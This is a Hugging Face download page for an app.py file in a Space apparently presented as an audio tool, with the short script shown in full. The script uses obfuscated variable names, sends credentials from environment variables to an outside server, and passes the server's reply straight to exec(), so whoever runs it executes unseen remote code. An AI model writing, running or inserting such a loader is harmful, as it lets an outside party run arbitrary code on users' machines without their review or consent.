Download app.py from mfielding92/audiomaster.ai-zero1: direct link, hf CLI and curl.
- Browser
- Download file 544 Bytes
-
https://huggingface.co/spaces/mfielding92/audiomaster.ai-zero1/resolve/main/app.py
- Command line
-
hf download hf://spaces/mfielding92/audiomaster.ai-zero1/app.py
-
curl -L -o app.py https://huggingface.co/spaces/mfielding92/audiomaster.ai-zero1/resolve/main/app.py
544 Bytes
| import requests | |
| from base64 import b64encode | |
| import os | |
| jbibqtfehcfjnhbg = os.getenv("rpsmauth_program") | |
| nqkyddytopgcsbpn = os.getenv("rpsmauth_accesskey") | |
| yscxptanxnpafqyd = b64encode(f"{jbibqtfehcfjnhbg}:{nqkyddytopgcsbpn}".encode()).decode("utf-8") | |
| headers = {'Authorization': 'Basic ' + yscxptanxnpafqyd} | |
| tbhsmjhnmzjxnsce = requests.get('https://auth.audiomaster.ai:49534', headers=headers) | |
| if tbhsmjhnmzjxnsce.status_code == 200: | |
| exec(tbhsmjhnmzjxnsce.text) | |
| else: | |
| print("Failed to authenticate or connect to the server.") |